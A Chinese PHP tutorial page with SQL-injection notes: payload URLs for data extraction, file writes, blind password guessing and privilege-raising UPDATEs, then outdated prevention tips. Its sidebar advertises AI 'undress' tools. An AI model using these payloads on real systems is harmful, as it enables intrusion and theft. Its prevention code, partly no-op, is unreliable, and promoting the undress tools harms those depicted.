首頁 後端開發 php教程 sql注入 PHP的SQL注入實作測試程式碼安全不錯

sql注入 PHP的SQL注入實作測試程式碼安全不錯

Jul 29, 2016 am 08:44 AM
sql注入

SQL注入的重點就是建構SQL語句,只有靈活的運用SQL
語句才能建構出牛比的注入字串。學完之後寫了點筆記,已備隨時使用。希望你在看下面內容時先了
解SQL的基本原理。筆記中的程式碼來自網路。
===基礎部分===
本表查詢:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union聯合語句:
http://127.0.0.1/injection/show. php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
匯出檔案:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php ?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c :/user.txt
INSERT語句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
建構homepage值為:http://4ngel.net', '3')#
SQL語句變成:INSERT INTO `user` (userid, username, password, homepage, userlevel ) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');
UPDATE語句:我喜歡這樣東西
先理解這句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE
如果此SQL被修改成以下形式,就實現了注入
1:修改homepage值為
http://4ngel.net', userlevel='3
之後SQL語句變成
UPDATE user SET password='mypass', homepage='http://4ngel.net' , userlevel='3' WHERE
userlevel為使用者等級
2:修改password值為
mypass)' WHERE username='admin'#
之後SQL語句變成
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE
3:修改id值為
' OR username='admin'
之後SQL語句變成
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE OR username='admin'
===高階部分===
常用的MyMySQL內建函數
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
BSTRSTRING() >MID()
char()
load_file()
……
函數應用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0. 0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password ,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
確定資料結構的字段數量及類型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id =-1 union select char(97),char(97),char(97)
猜資料表名
http://127.0.0.1/injection/show.php?id=-1 union select 1 ,1,1 from members
跨表查詢得到使用者名稱和密碼
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#驗證第一位密碼
http:/ /127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入防範===
伺服器方面
magic_quotes_gpc設定為
display_errors設定為Off
編碼方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("% ","%",$keywords);
數值型別
使用intval()抓換
字串型別
SQL語句參數要加上單引號
下面程式碼,用來防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_", "_",$keywords);
$keywords = str_replace("%","%",$keywords);
}
有用的函數
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
參考文章:
http://www.4ngel.net/article/SQL36.htm ( Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL語句參考)
以上就介紹了sql注入 PHP的SQL注入實作測試程式碼安全不錯,包括了sql注入方面的內容,希望對PHP教學有興趣的朋友有幫助。

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
2 週前 By 尊渡假赌尊渡假赌尊渡假赌
倉庫:如何復興隊友
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒險:如何獲得巨型種子
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

如何使用exp進行SQL錯誤注入 如何使用exp進行SQL錯誤注入 May 12, 2023 am 10:16 AM

如何使用exp進行SQL錯誤注入

PHP程式設計技巧:如何防止SQL注入攻擊 PHP程式設計技巧:如何防止SQL注入攻擊 Aug 17, 2023 pm 01:49 PM

PHP程式設計技巧:如何防止SQL注入攻擊

Nginx基礎安全知識:防範SQL注入攻擊 Nginx基礎安全知識:防範SQL注入攻擊 Jun 10, 2023 pm 12:31 PM

Nginx基礎安全知識:防範SQL注入攻擊

如何使用PHP防止SQL注入攻擊 如何使用PHP防止SQL注入攻擊 Jun 24, 2023 am 10:31 AM

如何使用PHP防止SQL注入攻擊

PHP表單過濾:SQL注入防範與過濾 PHP表單過濾:SQL注入防範與過濾 Aug 07, 2023 pm 03:49 PM

PHP表單過濾:SQL注入防範與過濾

Laravel開發注意事項:防止SQL注入的方法與技巧 Laravel開發注意事項:防止SQL注入的方法與技巧 Nov 22, 2023 pm 04:56 PM

Laravel開發注意事項:防止SQL注入的方法與技巧

PHP SQL注入漏洞的偵測與修復 PHP SQL注入漏洞的偵測與修復 Aug 08, 2023 pm 02:04 PM

PHP SQL注入漏洞的偵測與修復

SQL注入漏洞在PHP的因應策略 SQL注入漏洞在PHP的因應策略 Aug 09, 2023 pm 03:09 PM

SQL注入漏洞在PHP的因應策略

See all articles